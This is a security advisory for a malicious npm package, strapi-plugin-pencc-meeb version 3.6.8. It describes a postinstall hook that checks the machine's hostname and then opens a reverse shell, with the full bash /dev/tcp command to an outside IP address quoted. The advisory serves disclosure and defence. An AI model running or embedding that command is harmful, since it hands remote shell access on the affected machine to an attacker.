strapi-plugin-pencc-meeb

Details

**Severity:** Critical

**Affected versions:** `= 3.6.8`

## Source: amazon-inspector (3b4277c223cb7d5a9b8c263570a18670ee5054779862fbb801024a55629aa208)
postinstall.js is registered as the package's postinstall script and runs automatically on npm install. It compares os.hostname() to the hardcoded string 'ubuntu-fc-uvm' and, on a match, executes `bash -c "bash -i >& /dev/tcp/14.225.210.85/80 0>&1"` via child_process, opening an interactive reverse shell to 14.225.210.85 on TCP port 80. The script includes retry logic and writes to /tmp/postinstall-revshell.log. The hostname gate suppresses activity on non-matching hosts, but the payload is shipped in every install of this version.

---

Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/a03f98a1b88f3ad29d120e41e5d5e14f25d25979/osv/malicious/npm/strapi-plugin-pencc-meeb/MAL-2026-16210.json))

**References:**
- https://github.com/ossf/malicious-packages/blob/a03f98a1b88f3ad29d120e41e5d5e14f25d25979/osv/malicious/npm/strapi-plugin-pencc-meeb/MAL-2026-16210.json
- https://www.npmjs.com/package/strapi-plugin-pencc-meeb/v/3.6.8
- https://github.com/advisories/GHSA-77mj-c6xm-92j2

Compromised versions (1)

• = 3.6.8

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.